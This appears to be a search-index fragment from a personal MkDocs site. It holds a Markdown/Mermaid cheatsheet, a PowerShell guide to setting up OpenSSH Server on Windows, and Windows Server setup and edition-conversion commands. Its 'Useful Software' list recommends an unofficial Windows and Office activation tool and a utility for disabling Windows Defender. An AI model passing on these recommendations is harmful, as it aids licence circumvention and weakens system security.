      ", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-3-with-secondary-text", "title": "Heading 3 with secondary text", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-4-with-secondary-text", "title": "Heading 4 with secondary text", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-5-with-secondary-text", "title": "Heading 5 with secondary text", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/basic-formatting/#heading-6-with-secondary-text", "title": "Heading 6 with secondary text", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "headings", "text-highlighting", "horizontal-line"]}, {"location": "utilities/markdown-cheatsheet/code-blocks/", "title": "Markdown Code Blocks", "text": "

      Code blocks and examples are an essential part of technical project documentation. Material for MkDocs provides different ways to set up syntax highlighting for code blocks, either during build time using [Pygments] or during runtime using a JavaScript syntax highlighter.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "code-blocks"]}, {"location": "utilities/markdown-cheatsheet/code-blocks/#adding-a-title", "title": "Adding a Title", "text": "

      In order to provide additional context, a custom title can be added to a code block by using the title=\"<custom title>\" option directly after the shortcode, e.g. to display the name of a file:

      Example:

      Code block with title
      ```py title=\"bubble_sort.py\"\ndef bubble_sort(items):\n    for i in range(len(items)):\n        for j in range(len(items) - 1 - i):\n            if items[j] > items[j + 1]:\n                items[j], items[j + 1] = items[j + 1], items[j]\n```\n

      Result:

      bubble_sort.py
      def bubble_sort(items):\n    for i in range(len(items)):\n        for j in range(len(items) - 1 - i):\n            if items[j] > items[j + 1]:\n                items[j], items[j + 1] = items[j + 1], items[j]\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "code-blocks"]}, {"location": "utilities/markdown-cheatsheet/code-blocks/#adding-line-numbers-to-code-block", "title": "Adding Line Numbers To Code Block", "text": "

      Example:

      Line numbers can be added to a code block by using the linenums=\"<start>\" option directly after the shortcode, whereas <start> represents the starting line number. A code block can start from a line number other than 1, which allows to split large code blocks for readability:

      Code block with line numbers
      ```py linenums=\"1\"\ndef bubble_sort(items):\n    for i in range(len(items)):\n        for j in range(len(items) - 1 - i):\n            if items[j] > items[j + 1]:\n                items[j], items[j + 1] = items[j + 1], items[j]\n```\n

      Result:

      def bubble_sort(items):\nfor i in range(len(items)):\nfor j in range(len(items) - 1 - i):\nif items[j] > items[j + 1]:\nitems[j], items[j + 1] = items[j + 1], items[j]\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "code-blocks"]}, {"location": "utilities/markdown-cheatsheet/code-blocks/#highlighting-specific-lines", "title": "Highlighting Specific Lines", "text": "

      Specific lines can be highlighted by passing the line numbers to the hl_lines argument placed right after the language shortcode. Note that line counts start at 1.

      Code block with highlighted lines
      ```py hl_lines=\"2 3\"\ndef bubble_sort(items):\n    for i in range(len(items)):\n        for j in range(len(items) - 1 - i):\n            if items[j] > items[j + 1]:\n                items[j], items[j + 1] = items[j + 1], items[j]\n```\n

      Result:

      def bubble_sort(items):\nfor i in range(len(items)):\nfor j in range(len(items) - 1 - i):\nif items[j] > items[j + 1]:\nitems[j], items[j + 1] = items[j + 1], items[j]\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "code-blocks"]}, {"location": "utilities/markdown-cheatsheet/code-blocks/#highlighting-inline-code-blocks", "title": "Highlighting Inline Code Blocks", "text": "

      When InlineHilite is enabled, syntax highlighting can be applied to inline code blocks by prefixing them with a shebang, i.e. #!, directly followed by the corresponding language shortcode

      Example:

      Inline code block
      The `#!python range()` function is used to generate a sequence of numbers.\n

      Result:

      The range() function is used to generate a sequence of numbers.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "code-blocks"]}, {"location": "utilities/markdown-cheatsheet/content-tabs/", "title": "Markdown Content Tabs", "text": "

      Sometimes, it's desirable to group alternative content under different tabs, e.g. when describing how to access an API from different languages or environments. Material for MkDocs allows for beautiful and functional tabs, grouping code blocks and other content.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "content-tabs"]}, {"location": "utilities/markdown-cheatsheet/content-tabs/#usage", "title": "Usage", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "content-tabs"]}, {"location": "utilities/markdown-cheatsheet/content-tabs/#grouping-code-blocks", "title": "Grouping code blocks", "text": "

      Code blocks are one of the primary targets to be grouped, and can be considered a special case of content tabs, as tabs with a single code block are always rendered without horizontal spacing:

      Example:

      Content tabs with code blocks
      === \"C\"\n\n    ``` c\n    #include <stdio.h>\n\n    int main(void) {\n      printf(\"Hello world!\\n\");\n      return 0;\n    }\n    ```\n\n=== \"C++\"\n\n    ``` c++\n    #include <iostream>\n\n    int main(void) {\n      std::cout << \"Hello world!\" << std::endl;\n      return 0;\n    }\n    ```\n

      Result:

      CC++
      #include <stdio.h>\n\nint main(void) {\nprintf(\"Hello world!\\n\");\nreturn 0;\n}\n
      #include <iostream>\n\nint main(void) {\nstd::cout << \"Hello world!\" << std::endl;\nreturn 0;\n}\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "content-tabs"]}, {"location": "utilities/markdown-cheatsheet/content-tabs/#grouping-other-content", "title": "Grouping other content", "text": "

      When a content tab contains more than one code block, it is rendered with horizontal spacing. Vertical spacing is never added, but can be achieved by nesting tabs in other blocks:

      Example:

      Content tabs
      === \"Unordered list\"\n\n    * Sed sagittis eleifend rutrum\n    * Donec vitae suscipit est\n    * Nulla tempor lobortis orci\n\n=== \"Ordered list\"\n\n    1. Sed sagittis eleifend rutrum\n    2. Donec vitae suscipit est\n    3. Nulla tempor lobortis orci\n

      Result:

      Unordered listOrdered list
      • Sed sagittis eleifend rutrum
      • Donec vitae suscipit est
      • Nulla tempor lobortis orci
      1. Sed sagittis eleifend rutrum
      2. Donec vitae suscipit est
      3. Nulla tempor lobortis orci
      ", "tags": ["markdown-cheatsheet", "mkdocs", "content-tabs"]}, {"location": "utilities/markdown-cheatsheet/content-tabs/#embedded-content", "title": "Embedded content", "text": "

      When [SuperFences] is enabled, content tabs can contain arbitrary nested content, including further content tabs, and can be nested in other blocks like [admonitions] or blockquotes:

      Example:

      Content tabs in admonition
      !!! example\n\n    === \"Unordered List\"\n\n        ``` markdown\n        * Sed sagittis eleifend rutrum\n        * Donec vitae suscipit est\n        * Nulla tempor lobortis orci\n        ```\n\n    === \"Ordered List\"\n\n        ``` markdown\n        1. Sed sagittis eleifend rutrum\n        2. Donec vitae suscipit est\n        3. Nulla tempor lobortis orci\n        ```\n

      Result:

      Example

      Unordered ListOrdered List
      * Sed sagittis eleifend rutrum\n* Donec vitae suscipit est\n* Nulla tempor lobortis orci\n
      1. Sed sagittis eleifend rutrum\n2. Donec vitae suscipit est\n3. Nulla tempor lobortis orci\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "content-tabs"]}, {"location": "utilities/markdown-cheatsheet/diagrams/", "title": "Mermaid Diagrams", "text": "

      Diagrams help to communicate complex relationships and interconnections between different technical components, and are a great addition to project documentation. Material for MkDocs integrates with Mermaid.js, a very popular and flexible solution for drawing diagrams.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "diagram", "mermaid"]}, {"location": "utilities/markdown-cheatsheet/diagrams/#usage", "title": "Usage", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "diagram", "mermaid"]}, {"location": "utilities/markdown-cheatsheet/diagrams/#using-flowcharts", "title": "Using Flowcharts", "text": "

      Flowcharts are diagrams that represent workflows or processes. The steps are rendered as nodes of various kinds and are connected by edges, describing the necessary order of steps:

      Flow chart
      ```mermaid\ngraph LR\n  A[Start] --> B{Error?};\n  B -->|Yes| C[Hmm...];\n  C --> D[Debug];\n  D --> B;\n  B ---->|No| E[Yay!];\n```\n

      Result:

      graph LR\n  A[Start] --> B{Error?};\n  B -->|Yes| C[Hmm...];\n  C --> D[Debug];\n  D --> B;\n  B ---->|No| E[Yay!];
      ", "tags": ["markdown-cheatsheet", "mkdocs", "diagram", "mermaid"]}, {"location": "utilities/markdown-cheatsheet/diagrams/#using-sequence-diagrams", "title": "Using Sequence Diagrams", "text": "

      Sequence diagrams describe a specific scenario as sequential interactions between multiple objects or actors, including the messages that are exchanged between those actors:

      Sequence diagram
      ```mermaid\nsequenceDiagram\n  Alice->>John: Hello John, how are you?\n  loop Healthcheck\n      John->>John: Fight against hypochondria\n  end\n  Note right of John: Rational thoughts!\n  John-->>Alice: Great!\n  John->>Bob: How about you?\n  Bob-->>John: Jolly good!\n```\n

      Result:

      sequenceDiagram\n  Alice->>John: Hello John, how are you?\n  loop Healthcheck\n      John->>John: Fight against hypochondria\n  end\n  Note right of John: Rational thoughts!\n  John-->>Alice: Great!\n  John->>Bob: How about you?\n  Bob-->>John: Jolly good!
      ", "tags": ["markdown-cheatsheet", "mkdocs", "diagram", "mermaid"]}, {"location": "utilities/markdown-cheatsheet/diagrams/#using-state-diagrams", "title": "Using State Diagrams", "text": "

      State diagrams are a great tool to describe the behavior of a system, decomposing it into a finite number of states, and transitions between those states:

      State diagram
      ```mermaid\nstateDiagram-v2\n  state fork_state <<fork>>\n    [*] --> fork_state\n    fork_state --> State2\n    fork_state --> State3\n\n    state join_state <<join>>\n    State2 --> join_state\n    State3 --> join_state\n    join_state --> State4\n    State4 --> [*]\n```\n

      Result:

      stateDiagram-v2\n  state fork_state <<fork>>\n    [*] --> fork_state\n    fork_state --> State2\n    fork_state --> State3\n\n    state join_state <<join>>\n    State2 --> join_state\n    State3 --> join_state\n    join_state --> State4\n    State4 --> [*]
      ", "tags": ["markdown-cheatsheet", "mkdocs", "diagram", "mermaid"]}, {"location": "utilities/markdown-cheatsheet/diagrams/#using-class-diagrams", "title": "Using Class Diagrams", "text": "

      Class diagrams are central to object oriented programing, describing the structure of a system by modelling entities as classes and relationships between them:

      Class diagram
      ```mermaid\nclassDiagram\n  Person <|-- Student\n  Person <|-- Professor\n  Person : +String name\n  Person : +String phoneNumber\n  Person : +String emailAddress\n  Person: +purchaseParkingPass()\n  Address \"1\" <-- \"0..1\" Person:lives at\n  class Student{\n    +int studentNumber\n    +int averageMark\n    +isEligibleToEnrol()\n    +getSeminarsTaken()\n  }\n  class Professor{\n    +int salary\n  }\n  class Address{\n    +String street\n    +String city\n    +String state\n    +int postalCode\n    +String country\n    -validate()\n    +outputAsLabel()\n  }\n```\n

      Result:

      classDiagram\n  Person <|-- Student\n  Person <|-- Professor\n  Person : +String name\n  Person : +String phoneNumber\n  Person : +String emailAddress\n  Person: +purchaseParkingPass()\n  Address \"1\" <-- \"0..1\" Person:lives at\n  class Student{\n    +int studentNumber\n    +int averageMark\n    +isEligibleToEnrol()\n    +getSeminarsTaken()\n  }\n  class Professor{\n    +int salary\n  }\n  class Address{\n    +String street\n    +String city\n    +String state\n    +int postalCode\n    +String country\n    -validate()\n    +outputAsLabel()\n  }
      ", "tags": ["markdown-cheatsheet", "mkdocs", "diagram", "mermaid"]}, {"location": "utilities/markdown-cheatsheet/diagrams/#using-entity-relationship-diagrams", "title": "Using Entity-Relationship Diagrams", "text": "

      An entity-relationship diagram is composed of entity types and specifies relationships that exist between entities. It describes inter-related things in a specific domain of knowledge:

      Entity-relationship diagram
      ```mermaid\nerDiagram\n  CUSTOMER ||--o{ ORDER : places\n  ORDER ||--|{ LINE-ITEM : contains\n  CUSTOMER }|..|{ DELIVERY-ADDRESS : uses\n```\n

      Result:

      erDiagram\n  CUSTOMER ||--o{ ORDER : places\n  ORDER ||--|{ LINE-ITEM : contains\n  CUSTOMER }|..|{ DELIVERY-ADDRESS : uses
      ", "tags": ["markdown-cheatsheet", "mkdocs", "diagram", "mermaid"]}, {"location": "utilities/markdown-cheatsheet/external-markdown/", "title": "Embed External Markdown", "text": "

      MkDocs Embed External Markdown plugin that allows to inject section or full markdown content from a given url. The goal is to embed different markdown from different sources inside your MkDocs project.

      For more detailed inforation follow the link: Mkdocs Embed External Markdown Plugin

      ", "tags": ["markdown-cheatsheet", "mkdocs", "external-markdown"]}, {"location": "utilities/markdown-cheatsheet/external-markdown/#usage", "title": "Usage", "text": "
      • Section defined by \"##/###/####...\" header (h2/h3/h4...)
      • \"#\" header (h1) will be removed from source content so you can use use your own header
      • \"##/###/####...\" header (h2/h3/h4...) will be removed from source section content so you can use use your own header
      • Supports multiple sections from any source

      external_markdown requires 2 parameters: url and section name.

      {{ external_markdown('url', '## section name') }}\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "external-markdown"]}, {"location": "utilities/markdown-cheatsheet/external-markdown/#full-markdown-content", "title": "Full Markdown Content", "text": "

      Embed full markdown content from a given url, you can use the following example:

      {{ external_markdown('https://raw.githubusercontent.com/fire1ce/DDNS-Cloudflare-Bash/main/README.md', '') }}\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "external-markdown"]}, {"location": "utilities/markdown-cheatsheet/external-markdown/#specific-section", "title": "Specific Section", "text": "

      Embed markdown section from a given url, you can use the following example:

      {{ external_markdown('https://raw.githubusercontent.com/fire1ce/DDNS-Cloudflare-Bash/main/README.md', '## Installation') }}\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "external-markdown"]}, {"location": "utilities/markdown-cheatsheet/icons/", "title": "Icons & Emojis", "text": "

      One of the best features of Material for MkDocs is the possibility to use more then with thousands of emojis in your project documentation with practically zero additional effort. Use Mkdocs Material Icon Search to find the icons and emojis you need.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "icons", "emojis"]}, {"location": "utilities/markdown-cheatsheet/icons/#usage", "title": "Usage", "text": "

      Example:

      :fontawesome-regular-bell: - Fontawesome Icon: Bell  \n:material-bell: - Material Icon: Bell  \n:octicons-bell-24: - Octicons Icon: Bell  \n:bell: - Emoji: Bell\n

      Result:

      - Fontawesome Icon: Bell - Material Icon: Bell - Octicons Icon: Bell - Emoji: Bell

      ", "tags": ["markdown-cheatsheet", "mkdocs", "icons", "emojis"]}, {"location": "utilities/markdown-cheatsheet/icons/#keyboard-keys-icons", "title": "Keyboard Keys Icons", "text": "

      Example:

      ++ctrl+alt+del++\n
      ++cmd+control+option++\n

      Result:

      Ctrl+Alt+Del

      Cmd+Ctrl+Option

      ", "tags": ["markdown-cheatsheet", "mkdocs", "icons", "emojis"]}, {"location": "utilities/markdown-cheatsheet/images/", "title": "Markdown Images", "text": "

      Markdown is a text format so naturally you can type in the Markdown representation of an image using examples below to put an image reference directly into the editor.

      Warning

      This site uses the Material Design for MkDocs theme with the following CSS overrides there for the results in your case may differ.

      Custom css
      /* images css */\n.md-typeset img {\nborder-radius: 5px;\nheight: auto;\nmax-width: 95%;\nmargin: auto;\ndisplay: block;\nbox-shadow: rgba(149, 157, 165, 0.2) 0px 8px 24px;\n}\n
      ", "tags": ["markdown-cheatsheet", "mkdocs", "images"]}, {"location": "utilities/markdown-cheatsheet/images/#embedding-images", "title": "Embedding Images", "text": "Internal soruce example
      ![minion][internal-source]\n\n[internal-source]: /assets/images/markdown-cheatsheet/minion.png 'Title of the image'\n
      External source example
      ![minion][external-source]\n\n[external-source]: https://octodex.github.com/images/minion.png 'Title of the image'\n

      Result:

      ", "tags": ["markdown-cheatsheet", "mkdocs", "images"]}, {"location": "utilities/markdown-cheatsheet/images/#embedding-images-with-width-attributes", "title": "Embedding Images With Width Attributes", "text": "width=200 example
      ![minion][internal-source]{: style=\"width:200px\"}\n\n[internal-source]: /assets/images/markdown-cheatsheet/minion.png 'Title of the image'\n

      Result:

      ", "tags": ["markdown-cheatsheet", "mkdocs", "images"]}, {"location": "utilities/markdown-cheatsheet/links/", "title": "Markdown Links", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "links"]}, {"location": "utilities/markdown-cheatsheet/links/#link-with-title", "title": "Link With Title", "text": "Link with Title Example
      [My Github Page][github-url]\n\n[github-url]: https://github.com/fire1ce 'Title of the link'\n

      Result:

      My Github Page

      ", "tags": ["markdown-cheatsheet", "mkdocs", "links"]}, {"location": "utilities/markdown-cheatsheet/links/#open-in-new-tab", "title": "Open In New Tab", "text": "

      Append (target=\\_blank) to the end of the link.

      Open In New Tab Link Example
      [My Github Page][github-url]{target=\\_blank}\n\n[github-url]: https://github.com/fire1ce 'Title of the link'\n

      Result:

      My Github Page

      Result:

      ", "tags": ["markdown-cheatsheet", "mkdocs", "links"]}, {"location": "utilities/markdown-cheatsheet/links/#internal-anchor-links", "title": "Internal Anchor Links", "text": "Internal Anchor Links Example
      [Jumps to section in page][internal-anchor-link]\n\n[internal-anchor-link]: /utilities/markdown-cheatsheet/tables-lists-quotes/#lists 'Internal Anchor Links'\n

      Result:

      Jumps to section in page

      ", "tags": ["markdown-cheatsheet", "mkdocs", "links"]}, {"location": "utilities/markdown-cheatsheet/links/#image-with-links", "title": "Image With Links", "text": "Image With Links Example
      [![This is Image with link][image-link]][url-link]{target=\\_blank}\n\n[image-link]: /assets/images/markdown-cheatsheet/minion200x200.png 'Minion'\n[url-link]: https://github.com/fire1ce 'Go to Github'\n

      Result:

      ", "tags": ["markdown-cheatsheet", "mkdocs", "links"]}, {"location": "utilities/markdown-cheatsheet/links/#mailto-link", "title": "Mailto Link", "text": "Mailto Link Example
      [Send Email][mail-to-link]\n\n[mail-to-link]: mailto:example@example.com 'Send Email'\n

      Result:

      Send Email

      ", "tags": ["markdown-cheatsheet", "mkdocs", "links"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/", "title": "Tables, Lists and Quotes", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#tables", "title": "Tables", "text": "

      A table in Markdown consists of two parts: the header and the rows of data in the table. As per the Markdown spec:

      • pipe (|) character separates the individual columns in a table.
      • (-) hyphens act as a delimiter row to separate the header row from the body.
      • (:) colon to align cell contents.
      Table Example
      | **Option** | **Description**                            |\n| ---------- | ------------------------------------------ |\n| data       | path to data files to supply the data.     |\n| engine     | engine to be used for processing templates |\n| ext        | extension to be used for dest files.       |\n

      Result:

      Option Description data path to data files to supply the data. engine engine to be used for processing templates ext extension to be used for dest files.", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#column-alignment", "title": "Column Alignment", "text": "

      If you want to align a specific column to the left, center or right, you can use the [regular Markdown syntax] placing : characters at the beginning and/or end of the divider.

      LeftCenterRight Data table, columns aligned to left
      | Method      | Description                          |\n| :---------- | :----------------------------------- |\n| `GET`       | :material-check:     Fetch resource  |\n| `PUT`       | :material-check-all: Update resource |\n| `DELETE`    | :material-close:     Delete resource |\n
      Method Description GET Fetch resource PUT Update resource DELETE Delete resource Data table, columns centered
      | Method      | Description                          |\n| :---------: | :----------------------------------: |\n| `GET`       | :material-check:     Fetch resource  |\n| `PUT`       | :material-check-all: Update resource |\n| `DELETE`    | :material-close:     Delete resource |\n
      Method Description GET Fetch resource PUT Update resource DELETE Delete resource Data table, columns aligned to right
      | Method      | Description                          |\n| ----------: | -----------------------------------: |\n| `GET`       | :material-check:     Fetch resource  |\n| `PUT`       | :material-check-all: Update resource |\n| `DELETE`    | :material-close:     Delete resource |\n
      Method Description GET Fetch resource PUT Update resource DELETE Delete resource", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#lists", "title": "Lists", "text": "", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#unordered-list", "title": "Unordered List", "text": "

      Bullet point lists can be created by starting each line with an asterisk followed by a space before the content of the bullet point. Note that the space is important and should not be forgotten.

      Example:

      Unordered List Example
      - Lorem ipsum dolor sit amet\n- Consectetur adipiscing elit\n- Integer molestie lorem at massa\n- Facilisis in pretium nisl aliquet\n

      Result:

      • Lorem ipsum dolor sit amet
      • Consectetur adipiscing elit
      • Integer molestie lorem at massa
      • Facilisis in pretium nisl aliquet
      ", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#ordered-list", "title": "Ordered List", "text": "

      Similarly, numbered lists can be created by starting each line with a number followed by a space and then the relevant text.

      Ordered List Example
      1. Lorem ipsum dolor sit amet\n2. Consectetur adipiscing elit\n3. Integer molestie lorem at massa\n4. Faucibus porta lacus fringilla vel\n5. Aenean sit amet erat nunc\n6. Eget porttitor lorem\n

      Result:

      1. Lorem ipsum dolor sit amet
      2. Consectetur adipiscing elit
      3. Integer molestie lorem at massa
      4. Faucibus porta lacus fringilla vel
      5. Aenean sit amet erat nunc
      6. Eget porttitor lorem
      ", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#blocks-list", "title": "Blocks List", "text": "Blocks List Example
      > - list under lists\n> - under lists\n

      Result:

      • list under lists
      • under lists
      ", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#tasklists", "title": "Tasklists", "text": "

      A task list is a set of tasks that each render on a separate line with a clickable checkbox. You can select or deselect the checkboxes to mark the tasks as complete or incomplete.

      You can use Markdown to create a task list in any comment on GitHub. If you reference an issue, pull request, or discussion in a task list, the reference will unfurl to show the title and state.

      Example:

      Task List Example
      - [x] Lorem ipsum dolor sit amet, consectetur adipiscing elit\n- [ ] Vestibulum convallis sit amet nisi a tincidunt\n  - [x] In hac habitasse platea dictumst\n  - [x] In scelerisque nibh non dolor mollis congue sed et metus\n  - [ ] Praesent sed risus massa\n- [ ] Aenean pretium efficitur erat, donec pharetra, ligula non scelerisque\n

      Result:

      • Lorem ipsum dolor sit amet, consectetur adipiscing elit
      • Vestibulum convallis sit amet nisi a tincidunt
      • In hac habitasse platea dictumst
      • In scelerisque nibh non dolor mollis congue sed et metus
      • Praesent sed risus massa
      • Aenean pretium efficitur erat, donec pharetra, ligula non scelerisque
      ", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#block-quotes", "title": "Block Quotes", "text": "

      For quoting blocks of content from another source within your document.

      Add > before any text you want to quote.

      Quoting Blocks Example
      > Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.\n> Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.\n

      Result:

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante. Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "utilities/markdown-cheatsheet/tables-lists-quotes/#nested-block-quotes", "title": "Nested Block Quotes", "text": "Quoting Blocks Nested Example
      > Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante.\n> Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.\n>\n> > Sed adipiscing elit vitae augue consectetur a gravida nunc vehicula. Donec auctorodio\n> > non est accumsan facilisis. Aliquam id turpis in dolor tincidunt mollis ac eu diam.\n

      Result:

      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Integer posuere erat a ante. Donec massa lacus, ultricies a ullamcorper in, fermentum sed augue.

      Sed adipiscing elit vitae augue consectetur a gravida nunc vehicula. Donec auctorodio non est accumsan facilisis. Aliquam id turpis in dolor tincidunt mollis ac eu diam.

      ", "tags": ["markdown-cheatsheet", "mkdocs", "tables", "lists", "quotes"]}, {"location": "windows/ssh-server/", "title": "Windows SSH Server", "text": "

      Sometime you need to connect to a remote server via SSH. Usually it's the main connection to linux servers. But you can also connect to a windows server via SSH. At this guide we will show you how to install and configure a windows ssh server, including SSH Keys authentication.

      ", "tags": ["windows", "ssh-server", "powershell", "rsa-keys"]}, {"location": "windows/ssh-server/#ssh-server-installation-on-windows", "title": "SSH Server Installation on Windows", "text": "

      We will be using PowerShell to install the SSH server inculding the SSH client.

      Open PowerShell Terminal as Administrator.

      Run the following commands to install the SSH server and client.

      Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0\nAdd-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0\n

      After the installaton you can check the Windows SSH server and client are installed.

      Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'\n

      The output will be something like this:

      To start the Windows SSH server service

      Start-Service sshd\n

      Enable Windows SSH Server on Windows Boot

      Set-Service -Name sshd -StartupType 'Automatic'\n

      Add a Firewall rule to allow the SSH port

      if (!(Get-NetFirewallRule -Name \"OpenSSH-Server-In-TCP\" -ErrorAction SilentlyContinue | Select-Object Name, Enabled)) { Write-Output \"Firewall Rule 'OpenSSH-Server-In-TCP' does not exist, creating it...\" New-NetFirewallRule -Name 'OpenSSH-Server-In-TCP' -DisplayName 'OpenSSH Server (sshd)' -Enabled True -Direction Inbound -Protocol TCP -Action Allow -LocalPort 22 } else { Write-Output \"Firewall rule 'OpenSSH-Server-In-TCP' has been created and exists.\" }\n

      At this point you should be able to connect via SSH to the Windows server with your username and password.

      ", "tags": ["windows", "ssh-server", "powershell", "rsa-keys"]}, {"location": "windows/ssh-server/#adding-ssh-keys", "title": "Adding SSH Keys", "text": "", "tags": ["windows", "ssh-server", "powershell", "rsa-keys"]}, {"location": "windows/ssh-server/#administrator-user", "title": "Administrator User", "text": "

      Create the file: administrators_authorized_keys at the following location:

      C:\\ProgramData\\ssh\\administrators_authorized_keys\n

      Edit the file and add you SSH public key to the file.

      Now we need to import the SSH public key to the Windows SSH server. We can do this by using the following command:

      icacls.exe \"C:\\ProgramData\\ssh\\administrators_authorized_keys\" /inheritance:r /grant \"Administrators:F\" /grant \"SYSTEM:F\"\n

      Test the SSH connection to the Windows server from remote machine with the SSH Key. You should be able to connect to the Windows server with your SSH key

      ", "tags": ["windows", "ssh-server", "powershell", "rsa-keys"]}, {"location": "windows/ssh-server/#regular-user-non-administrator", "title": "Regular User (non-administrator)", "text": "

      Create a .ssh directory in the home directory of the user.

      ```path\nC:\\Users\\<username>\\.ssh\\\n

      Create the file: authorized_keys at the following location:

      C:\\Users\\<username>\\.ssh\\authorized_keys\n

      Edit the file and add you SSH public key to the file.

      Test the SSH connection to the Windows server from remote machine with the SSH Key. You should be able to connect with non-administrator user to the Windows server with your SSH key

      ", "tags": ["windows", "ssh-server", "powershell", "rsa-keys"]}, {"location": "windows/ssh-server/#powershell-as-default-shell-for-ssh", "title": "PowerShell as Default Shell for SSH", "text": "

      By default the SSH client uses the Windows command prompt as the default shell.

      We can change the default shell to PowerShell running the following PowerShell command:

      New-ItemProperty -Path \"HKLM:\\SOFTWARE\\OpenSSH\" -Name DefaultShell -Value \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PowerShell.exe\" -PropertyType String -Force\n

      Next to you connet to the Windows SSG server it should start the PowerShell shell.

      It should look something like this:

      ", "tags": ["windows", "ssh-server", "powershell", "rsa-keys"]}, {"location": "windows/useful-software/", "title": "Useful Software", "text": "", "tags": ["utilities", "windows"]}, {"location": "windows/useful-software/#win-10-iso-official-download", "title": "Win 10 ISO Official Download", "text": "

      Microsoft Official Windows 10 Download

      ", "tags": ["utilities", "windows"]}, {"location": "windows/useful-software/#list-of-useful-software", "title": "List of Useful Software", "text": "Application Description MAS Windows & Office Activation Windows Tweaker 4 for Windows 10 Windows Tweaker Defender Control Windows Defender control Link Shell Extension Symlinks For Windows Winaero Tweaker Winaero Tweaker Autologon Autologon at boot", "tags": ["utilities", "windows"]}, {"location": "windows/windows-servers/", "title": "Windows Servers", "text": "", "tags": ["utilities", "windows", "servers"]}, {"location": "windows/windows-servers/#basic-setup", "title": "Basic Setup", "text": "

      At Server Manager click Configure this local server

      • Computer name - rename the server's name
      • Remote Desktop - allow RDP
      • Ethernet instance - disable IPV6
      • Feedback & Diagnostics - set Feedback frequency to Never
      • IE Enhanced Security Configuration - Off
      • Time zone - set the current timezone, At Internet Time tab chanche time.windwos.com to time.nist.gov

      Open gpedit.msc with Run

      • Local Computer Policy -> Administrative Templates -> System -> Display Shutdown Even Tracker - Disable
      • Local Computer Policy -> Windows Settings -> Security Settings -> Local Policies -> Security Options ->Interactive logon: Do not require CTRL+ALT+DEL - Enable
      ", "tags": ["utilities", "windows", "servers"]}, {"location": "windows/windows-servers/#convert-evaluation-copy-to-full-version", "title": "Convert Evaluation Copy to Full Version", "text": "

      When using the Evaluation version of Windows Server, the desktop displays the current build and the time until the end of the grace period (Windows License valid for 180 days).

      ", "tags": ["utilities", "windows", "servers"]}, {"location": "windows/windows-servers/#windows-server-2022", "title": "Windows Server 2022", "text": "

      Run from Powershell:

      Windows Server 2022 Standard

      dism /online /set-edition:serverstandard /productkey:VDYBN-27WPP-V4HQT-9VMD4-VMK7H /accepteula\n

      Windows Server 2022 Datacenter:

      dism /online /set-edition:serverdatacenter /productkey:WX4NM-KYWYW-QJJR4-XV3QB-6VM33 /accepteula\n
      ", "tags": ["utilities", "windows", "servers"]}, {"location": "windows/windows-servers/#windows-server-2019", "title": "Windows Server 2019", "text": "

      Run from Powershell:

      Windows Server 2019 Standard

      dism /online /set-edition:ServerStandard /productkey:N69G4-B89J2-4G8F4-WWYCC-J464C /accepteula\n

      Windows Server 2019 Datacenter:

      dism /online /set-edition:ServerDatacenter /productkey:WMDGN-G9PQG-XVVXX-R3X43-63DFG /accepteula\n
